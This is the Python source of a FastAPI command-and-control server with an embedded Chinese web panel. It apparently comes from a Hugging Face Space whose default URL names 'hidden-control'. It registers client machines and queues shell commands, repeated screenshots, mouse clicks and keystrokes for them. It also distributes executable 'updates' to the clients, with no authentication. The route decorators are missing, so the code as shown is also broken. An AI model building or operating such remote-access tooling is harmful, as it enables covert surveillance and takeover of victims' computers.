Spaces:
Sleeping
Sleeping
| #!/usr/bin/env python3 | |
| import os | |
| import sqlite3 | |
| import uuid | |
| import json | |
| import glob | |
| from datetime import datetime | |
| from fastapi import FastAPI, Request, UploadFile, File, Form, HTTPException | |
| from fastapi.responses import HTMLResponse, FileResponse | |
| from fastapi.middleware.cors import CORSMiddleware | |
| from fastapi.staticfiles import StaticFiles | |
| from fastapi.templating import Jinja2Templates | |
| from typing import Optional | |
| import aiofiles | |
| app = FastAPI() | |
| app.add_middleware( | |
| CORSMiddleware, | |
| allow_origins=["*"], | |
| allow_credentials=True, | |
| allow_methods=["*"], | |
| allow_headers=["*"], | |
| ) | |
| DB_PATH = os.environ.get('DB_PATH', '/tmp/data.db') | |
| UPLOAD_DIR = os.environ.get('UPLOAD_DIR', '/tmp/uploads') | |
| os.makedirs(f'{UPLOAD_DIR}/screenshots', exist_ok=True) | |
| os.makedirs(f'{UPLOAD_DIR}/files', exist_ok=True) | |
| def init_db(): | |
| conn = sqlite3.connect(DB_PATH) | |
| c = conn.cursor() | |
| c.execute(''' | |
| CREATE TABLE IF NOT EXISTS clients ( | |
| id TEXT PRIMARY KEY, | |
| name TEXT, | |
| status TEXT DEFAULT 'offline', | |
| last_seen TEXT, | |
| version TEXT, | |
| os TEXT, | |
| ip TEXT | |
| ) | |
| ''') | |
| c.execute(''' | |
| CREATE TABLE IF NOT EXISTS commands ( | |
| id TEXT PRIMARY KEY, | |
| client_id TEXT, | |
| type TEXT, | |
| payload TEXT, | |
| status TEXT DEFAULT 'pending', | |
| result TEXT, | |
| created_at TEXT, | |
| FOREIGN KEY(client_id) REFERENCES clients(id) | |
| ) | |
| ''') | |
| c.execute(''' | |
| CREATE TABLE IF NOT EXISTS files ( | |
| id TEXT PRIMARY KEY, | |
| client_id TEXT, | |
| filename TEXT, | |
| size INTEGER, | |
| uploaded_at TEXT, | |
| FOREIGN KEY(client_id) REFERENCES clients(id) | |
| ) | |
| ''') | |
| c.execute(''' | |
| CREATE TABLE IF NOT EXISTS configs ( | |
| key TEXT PRIMARY KEY, | |
| value TEXT, | |
| updated_at TEXT | |
| ) | |
| ''') | |
| conn.commit() | |
| conn.close() | |
| def get_db(): | |
| conn = sqlite3.connect(DB_PATH) | |
| conn.row_factory = sqlite3.Row | |
| return conn | |
| init_db() | |
| HTML_CONTENT = '''<!DOCTYPE html> | |
| <html lang="zh-CN"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>远程控制台</title> | |
| <style> | |
| * { margin: 0; padding: 0; box-sizing: border-box; } | |
| body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; background: #1a1a2e; color: #eee; min-height: 100vh; } | |
| .container { max-width: 1400px; margin: 0 auto; padding: 20px; } | |
| h1 { text-align: center; margin-bottom: 30px; color: #00d9ff; } | |
| .clients-section { margin-bottom: 30px; } | |
| .section-title { font-size: 1.2em; margin-bottom: 15px; color: #aaa; } | |
| .clients-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); gap: 15px; } | |
| .client-card { background: #16213e; border-radius: 10px; padding: 15px; border: 1px solid #0f3460; cursor: pointer; transition: all 0.3s; } | |
| .client-card:hover { border-color: #00d9ff; } | |
| .client-card.selected { border-color: #00d9ff; background: #1f4068; } | |
| .client-card.offline { opacity: 0.5; } | |
| .client-name { font-size: 1.1em; font-weight: bold; margin-bottom: 8px; } | |
| .client-info { font-size: 0.85em; color: #888; } | |
| .client-status { display: inline-block; padding: 2px 8px; border-radius: 4px; font-size: 0.8em; margin-top: 8px; } | |
| .status-online { background: #00d9ff22; color: #00d9ff; } | |
| .status-offline { background: #ff6b6b22; color: #ff6b6b; } | |
| .panel { background: #16213e; border-radius: 10px; padding: 20px; border: 1px solid #0f3460; display: none; flex-direction: column; flex: 1; min-height: 600px; } | |
| .panel.active { display: flex; } | |
| .tab-content { display: none; flex-direction: column; flex: 1; min-height: 0; } | |
| .tab-content.active { display: flex; flex: 1; } | |
| .screenshot-view { flex: 1; display: flex; align-items: center; justify-content: center; background: #000; overflow: hidden; } | |
| .screenshot-view img { max-width: 100%; max-height: 100%; object-fit: contain; } | |
| .tabs { display: flex; gap: 10px; margin-bottom: 20px; border-bottom: 1px solid #0f3460; padding-bottom: 10px; flex-wrap: wrap; } | |
| .tab { padding: 8px 16px; border-radius: 5px; cursor: pointer; background: transparent; border: none; color: #888; transition: all 0.3s; } | |
| .tab:hover { color: #00d9ff; } | |
| .tab.active { background: #00d9ff; color: #1a1a2e; } | |
| .command-input { display: flex; gap: 10px; margin-bottom: 15px; flex-wrap: wrap; } | |
| .command-input input { flex: 1; min-width: 200px; padding: 10px; border-radius: 5px; border: 1px solid #0f3460; background: #1a1a2e; color: #eee; } | |
| .btn { padding: 10px 20px; border-radius: 5px; border: none; cursor: pointer; background: #00d9ff; color: #1a1a2e; font-weight: bold; } | |
| .btn:hover { opacity: 0.9; } | |
| .btn-danger { background: #ff6b6b; } | |
| .btn-success { background: #00ff88; } | |
| .output { background: #0a0a15; border-radius: 5px; padding: 15px; min-height: 200px; max-height: 400px; overflow-y: auto; font-family: monospace; white-space: pre-wrap; } | |
| .screenshot-view { text-align: center; } | |
| .screenshot-view img { max-width: 100%; border-radius: 5px; } | |
| .no-client { text-align: center; color: #666; padding: 50px; } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="container"> | |
| <h1>远程控制台</h1> | |
| <div class="clients-section"> | |
| <div class="section-title">在线客户端</div> | |
| <div class="clients-grid" id="clientsGrid"></div> | |
| </div> | |
| <div class="panel" id="controlPanel"> | |
| <div class="tabs"> | |
| <button class="tab active" data-tab="shell">Shell</button> | |
| <button class="tab" data-tab="screenshot">截图</button> | |
| <button class="tab" data-tab="control">远程控制</button> | |
| </div> | |
| <div class="tab-content" id="tab-shell"> | |
| <div class="command-input"> | |
| <input type="text" id="commandInput" placeholder="输入命令..."> | |
| <button class="btn" onclick="sendCommand()">执行</button> | |
| </div> | |
| <div class="output" id="commandOutput">等待命令...</div> | |
| </div> | |
| <div class="tab-content" id="tab-screenshot" style="display:none;"> | |
| <div class="screenshot-settings" style="background:#0a0a15;padding:10px;border-radius:5px;margin-bottom:10px;"> | |
| <div class="command-input" style="margin-bottom:10px;"> | |
| <button class="btn" onclick="requestScreenshot()">获取截图</button> | |
| <input type="number" id="screenInterval" value="3" min="1" max="60" style="width:50px;padding:8px;border-radius:5px;border:1px solid #0f3460;background:#1a1a2e;color:#eee;"> | |
| <span style="color:#888;">秒间隔</span> | |
| <button class="btn btn-success" id="btnAutoScreen" onclick="toggleAutoScreenshot()">自动连续</button> | |
| <button class="btn btn-danger" id="btnStopScreen" onclick="stopAutoScreenshot()" style="display:none;">停止</button> | |
| </div> | |
| <div class="command-input"> | |
| <label style="color:#888;margin-right:10px;"> | |
| <input type="checkbox" id="clickAutoRefresh" checked> 点击后自动刷新 | |
| </label> | |
| <span style="color:#888;margin:0 10px;">点击类型:</span> | |
| <label style="color:#00d9ff;margin-right:10px;"> | |
| <input type="radio" name="clickButton" value="left" checked> 左键 | |
| </label> | |
| <label style="color:#00d9ff;"> | |
| <input type="radio" name="clickButton" value="right"> 右键 | |
| </label> | |
| </div> | |
| </div> | |
| <div class="screenshot-view" id="screenshotView" style="flex:1;background:#000;display:flex;align-items:center;justify-content:center;overflow:hidden;"></div> | |
| </div> | |
| <div class="tab-content" id="tab-control" style="display:none;"> | |
| <p style="color:#888;margin-bottom:15px;">远程控制</p> | |
| <div class="command-input"> | |
| <button class="btn" onclick="sendMouseClick('left')">左键</button> | |
| <button class="btn" onclick="sendMouseClick('right')">右键</button> | |
| <input type="text" id="keyInput" placeholder="按键" style="flex:0.5;min-width:150px;"> | |
| <button class="btn" onclick="sendKeyPress()">发送</button> | |
| </div> | |
| </div> | |
| </div> | |
| <div class="no-client" id="noClient">请选择一个客户端</div> | |
| </div> | |
| <script> | |
| let selectedClient = null; | |
| let pollInterval = null; | |
| const API_BASE = ''; | |
| async function loadClients() { | |
| try { | |
| const resp = await fetch('/api/clients'); | |
| const clients = await resp.json(); | |
| const grid = document.getElementById('clientsGrid'); | |
| grid.innerHTML = clients.length ? '' : '<p style="color:#666;">暂无在线客户端</p>'; | |
| clients.forEach(client => { | |
| const card = document.createElement('div'); | |
| card.className = 'client-card' + (client.status === 'offline' ? ' offline' : ''); | |
| card.onclick = () => selectClient(client); | |
| const lastSeen = client.last_seen ? new Date(client.last_seen).toLocaleString() : 'N/A'; | |
| card.innerHTML = `<div class="client-name">${client.name || 'Unknown'}</div> | |
| <div class="client-info">ID: ${(client.id || '').substring(0, 8)}...</div> | |
| <div class="client-status ${client.status === 'online' ? 'status-online' : 'status-offline'}">${client.status}</div> | |
| <div class="client-info">${lastSeen}</div>`; | |
| grid.appendChild(card); | |
| }); | |
| } catch(e) { console.error(e); } | |
| } | |
| function selectClient(client) { | |
| selectedClient = client; | |
| document.querySelectorAll('.client-card').forEach(c => c.classList.remove('selected')); | |
| document.querySelectorAll('.client-card').forEach(c => { if((c.innerHTML || '').includes((client.id || '').substring(0, 8))) c.classList.add('selected'); }); | |
| document.getElementById('controlPanel').classList.add('active'); | |
| document.getElementById('noClient').style.display = 'none'; | |
| startPolling(); | |
| } | |
| function startPolling() { | |
| if (pollInterval) clearInterval(pollInterval); | |
| pollInterval = setInterval(pollCommands, 2000); | |
| } | |
| async function pollCommands() { | |
| if (!selectedClient) return; | |
| try { | |
| // 心跳并获取指令 | |
| const resp = await fetch('/api/client/heartbeat', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id}) | |
| }); | |
| const data = await resp.json(); | |
| if (data.commands && data.commands.length > 0) { | |
| data.commands.forEach(cmd => executeCommand(cmd)); | |
| } | |
| // 获取最新命令结果 | |
| const resultResp = await fetch('/api/commands?client_id=' + selectedClient.id); | |
| const commands = await resultResp.json(); | |
| if (commands.length > 0) { | |
| const latest = commands[0]; | |
| if (latest.result && latest.status === 'completed') { | |
| document.getElementById('commandOutput').textContent = latest.result; | |
| } else if (latest.status === 'processing') { | |
| document.getElementById('commandOutput').textContent = '执行中: ' + latest.payload + '...'; | |
| } | |
| } | |
| } catch(e) { console.error(e); } | |
| } | |
| async function executeCommand(cmd) { | |
| document.getElementById('commandOutput').textContent = '执行: ' + cmd.payload; | |
| await fetch('/api/command/result', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({command_id: cmd.id, result: '', status: 'processing'}) | |
| }); | |
| } | |
| async function sendCommand() { | |
| const cmd = document.getElementById('commandInput').value.trim(); | |
| if (!cmd || !selectedClient) return; | |
| document.getElementById('commandOutput').textContent = '发送: ' + cmd + ' (等待执行...)'; | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'shell', payload: cmd}) | |
| }); | |
| document.getElementById('commandInput').value = ''; | |
| } | |
| let screenshotInterval = null; | |
| async function requestScreenshot() { | |
| if (!selectedClient) return; | |
| const container = document.getElementById('screenshotView'); | |
| if (!screenshotImgElement) { | |
| container.innerHTML = '<p style="color:#888;">获取中...</p>'; | |
| } | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''}) | |
| }); | |
| setTimeout(loadScreenshot, 2000); | |
| } | |
| let screenshotImgElement = null; | |
| async function loadScreenshot() { | |
| if (!selectedClient) return; | |
| const t = Date.now(); | |
| const container = document.getElementById('screenshotView'); | |
| if (screenshotImgElement) { | |
| screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`; | |
| } else { | |
| container.innerHTML = `<img id="screenshotImg" style="max-width:100%;max-height:100%;object-fit:contain;cursor:crosshair;">`; | |
| screenshotImgElement = document.getElementById('screenshotImg'); | |
| screenshotImgElement.src = `/api/screenshots/${selectedClient.id}?t=${t}`; | |
| screenshotImgElement.onclick = function(e) { | |
| const rect = this.getBoundingClientRect(); | |
| const x = Math.round((e.clientX - rect.left) * (this.naturalWidth / rect.width)); | |
| const y = Math.round((e.clientY - rect.top) * (this.naturalHeight / rect.height)); | |
| const clickButton = document.querySelector('input[name="clickButton"]:checked').value; | |
| sendMouseClickAt(x, y, clickButton); | |
| if (document.getElementById('clickAutoRefresh').checked) { | |
| setTimeout(loadScreenshot, 500); | |
| } | |
| }; | |
| } | |
| } | |
| async function sendMouseClickAt(x, y, button) { | |
| if (!selectedClient) return; | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: x, y: y})}) | |
| }); | |
| document.getElementById('commandOutput').textContent = `鼠标${button}键点击: (${x}, ${y})`; | |
| } | |
| function startAutoScreenshot() { | |
| if (screenshotInterval) return; | |
| const interval = (parseInt(document.getElementById('screenInterval').value) || 3) * 1000; | |
| screenshotInterval = setInterval(async () => { | |
| if (!selectedClient) { | |
| stopAutoScreenshot(); | |
| return; | |
| } | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'screenshot', payload: ''}) | |
| }); | |
| setTimeout(loadScreenshot, 1000); | |
| }, interval); | |
| } | |
| function stopAutoScreenshot() { | |
| if (screenshotInterval) { | |
| clearInterval(screenshotInterval); | |
| screenshotInterval = null; | |
| } | |
| document.getElementById('btnAutoScreen').style.display = 'inline-block'; | |
| document.getElementById('btnStopScreen').style.display = 'none'; | |
| } | |
| function toggleAutoScreenshot() { | |
| if (screenshotInterval) { | |
| stopAutoScreenshot(); | |
| } else { | |
| startAutoScreenshot(); | |
| document.getElementById('btnAutoScreen').style.display = 'none'; | |
| document.getElementById('btnStopScreen').style.display = 'inline-block'; | |
| } | |
| } | |
| async function sendMouseClick(button) { | |
| if (!selectedClient) return; | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'mouse_click', payload: JSON.stringify({button: button, x: 0, y: 0})}) | |
| }); | |
| } | |
| async function sendKeyPress() { | |
| const key = document.getElementById('keyInput').value.trim(); | |
| if (!key || !selectedClient) return; | |
| await fetch('/api/command', { | |
| method: 'POST', headers: {'Content-Type': 'application/json'}, | |
| body: JSON.stringify({client_id: selectedClient.id, type: 'key_press', payload: key}) | |
| }); | |
| } | |
| document.querySelectorAll('.tab').forEach(tab => { | |
| tab.onclick = () => { | |
| document.querySelectorAll('.tab').forEach(t => t.classList.remove('active')); | |
| document.querySelectorAll('.tab-content').forEach(c => c.style.display = 'none'); | |
| tab.classList.add('active'); | |
| document.getElementById('tab-' + tab.dataset.tab).style.display = 'flex'; | |
| }; | |
| }); | |
| document.getElementById('commandInput').onkeypress = e => { if (e.key === 'Enter') sendCommand(); }; | |
| loadClients(); setInterval(loadClients, 5000); | |
| </script> | |
| </body> | |
| </html>''' | |
| async def root(): | |
| return HTMLResponse(content=HTML_CONTENT) | |
| async def register_client(request: Request): | |
| data = await request.json() | |
| client_id = data.get('id') or str(uuid.uuid4()) | |
| name = data.get('name', 'Unknown') | |
| version = data.get('version', '') | |
| os_info = data.get('os', '') | |
| conn = get_db() | |
| conn.execute('''INSERT OR REPLACE INTO clients (id, name, status, last_seen, version, os, ip) | |
| VALUES (?, ?, 'online', ?, ?, ?, ?)''', | |
| (client_id, name, datetime.now().isoformat(), version, os_info, request.client.host)) | |
| conn.commit() | |
| conn.close() | |
| return {'id': client_id, 'name': name, 'status': 'online'} | |
| async def heartbeat(request: Request): | |
| data = await request.json() | |
| client_id = data.get('client_id') | |
| conn = get_db() | |
| conn.execute("UPDATE clients SET last_seen = ?, status = 'online' WHERE id = ?", | |
| (datetime.now().isoformat(), client_id)) | |
| cmd = conn.execute('''SELECT id, client_id, type, payload, status FROM commands | |
| WHERE client_id = ? AND status = 'pending' ORDER BY created_at ASC LIMIT 1''', (client_id,)).fetchone() | |
| if cmd: | |
| conn.execute("UPDATE commands SET status = 'processing' WHERE id = ?", (cmd['id'],)) | |
| conn.commit() | |
| conn.close() | |
| if cmd: | |
| return {'commands': [dict(cmd)]} | |
| return {'commands': []} | |
| async def send_command(request: Request): | |
| data = await request.json() | |
| cmd_id = str(uuid.uuid4()) | |
| client_id = data.get('client_id') | |
| cmd_type = data.get('type', 'shell') | |
| payload = data.get('payload', '') | |
| conn = get_db() | |
| conn.execute('''INSERT INTO commands (id, client_id, type, payload, status, created_at) | |
| VALUES (?, ?, ?, ?, 'pending', ?)''', | |
| (cmd_id, client_id, cmd_type, payload, datetime.now().isoformat())) | |
| conn.commit() | |
| conn.close() | |
| return {'id': cmd_id, 'status': 'pending'} | |
| async def command_result(request: Request): | |
| data = await request.json() | |
| cmd_id = data.get('command_id') | |
| result = data.get('result', '') | |
| status = data.get('status', 'completed') | |
| conn = get_db() | |
| conn.execute("UPDATE commands SET result = ?, status = ? WHERE id = ?", (result, status, cmd_id)) | |
| conn.commit() | |
| conn.close() | |
| return {'status': 'ok'} | |
| async def upload_screenshot(client_id: str = Form(...), screenshot: UploadFile = File(...)): | |
| ext = os.path.splitext(screenshot.filename)[1] or '.jpg' | |
| filename = f'{client_id}_{int(datetime.now().timestamp())}{ext}' | |
| filepath = f'{UPLOAD_DIR}/screenshots/{filename}' | |
| content = await screenshot.read() | |
| async with aiofiles.open(filepath, 'wb') as f: | |
| await f.write(content) | |
| conn = get_db() | |
| conn.execute("UPDATE clients SET last_seen = ? WHERE id = ?", (datetime.now().isoformat(), client_id)) | |
| conn.commit() | |
| conn.close() | |
| return {'url': f'/api/screenshots/{filename}'} | |
| async def get_screenshot(client_id: str): | |
| pattern = f'{UPLOAD_DIR}/screenshots/{client_id}_*' | |
| files = sorted(glob.glob(pattern), key=os.path.getmtime, reverse=True) | |
| if files: | |
| return FileResponse(files[0], media_type='image/jpeg') | |
| raise HTTPException(status_code=404, detail="No screenshot") | |
| async def get_clients(): | |
| conn = get_db() | |
| clients = conn.execute('SELECT * FROM clients ORDER BY last_seen DESC').fetchall() | |
| conn.close() | |
| return [dict(row) for row in clients] | |
| async def get_commands(client_id: str = ""): | |
| if not client_id: | |
| return [] | |
| conn = get_db() | |
| commands = conn.execute('SELECT * FROM commands WHERE client_id = ? ORDER BY created_at DESC LIMIT 10', (client_id,)).fetchall() | |
| conn.close() | |
| return [dict(row) for row in commands] | |
| async def get_config(): | |
| return { | |
| 'server_url': os.environ.get('SERVER_URL', 'https://profile114-hidden-control.hf.space'), | |
| 'poll_interval': 5, | |
| 'auto_update': True, | |
| 'latest_version': '1.0.0', | |
| 'download_url': '' | |
| } | |
| async def update_config(request: Request): | |
| data = await request.json() | |
| conn = get_db() | |
| if data.get('latest_version'): | |
| conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)', | |
| ('latest_version', data['latest_version'], datetime.now().isoformat())) | |
| if data.get('download_url'): | |
| conn.execute('INSERT OR REPLACE INTO configs (key, value, updated_at) VALUES (?, ?, ?)', | |
| ('download_url', data['download_url'], datetime.now().isoformat())) | |
| conn.commit() | |
| conn.close() | |
| return {'status': 'ok'} | |
| # 自动更新相关API | |
| UPDATE_DIR = os.path.join(UPLOAD_DIR, 'updates') | |
| os.makedirs(UPDATE_DIR, exist_ok=True) | |
| async def get_update(): | |
| version_file = os.path.join(UPDATE_DIR, 'version.json') | |
| if os.path.exists(version_file): | |
| with open(version_file, 'r') as f: | |
| return json.load(f) | |
| return {'version': '1.0.0', 'filename': '', 'url': ''} | |
| async def check_update(request: Request): | |
| data = await request.json() | |
| current_version = data.get('version', '0.0.0') | |
| version_file = os.path.join(UPDATE_DIR, 'version.json') | |
| if os.path.exists(version_file): | |
| with open(version_file, 'r') as f: | |
| info = json.load(f) | |
| latest_version = info.get('version', '0.0.0') | |
| needs_update = latest_version > current_version | |
| return { | |
| 'needs_update': needs_update, | |
| 'latest_version': latest_version, | |
| 'filename': info.get('filename', ''), | |
| 'url': f'/api/download/{info.get("filename", "")}' | |
| } | |
| return {'needs_update': False, 'latest_version': current_version} | |
| async def download_update(filename: str): | |
| filepath = os.path.join(UPDATE_DIR, filename) | |
| if os.path.exists(filepath): | |
| return FileResponse(filepath, filename=filename) | |
| raise HTTPException(status_code=404, detail="File not found") | |
| async def upload_update(version: str = Form(...), file: UploadFile = File(...)): | |
| filename = f"client_{version}.exe" | |
| filepath = os.path.join(UPDATE_DIR, filename) | |
| content = await file.read() | |
| async with aiofiles.open(filepath, 'wb') as f: | |
| await f.write(content) | |
| version_info = {'version': version, 'filename': filename} | |
| version_file = os.path.join(UPDATE_DIR, 'version.json') | |
| with open(version_file, 'w') as f: | |
| json.dump(version_info, f) | |
| return {'status': 'ok', 'version': version, 'filename': filename} | |
| if __name__ == "__main__": | |
| import uvicorn | |
| uvicorn.run(app, host="0.0.0.0", port=7860) |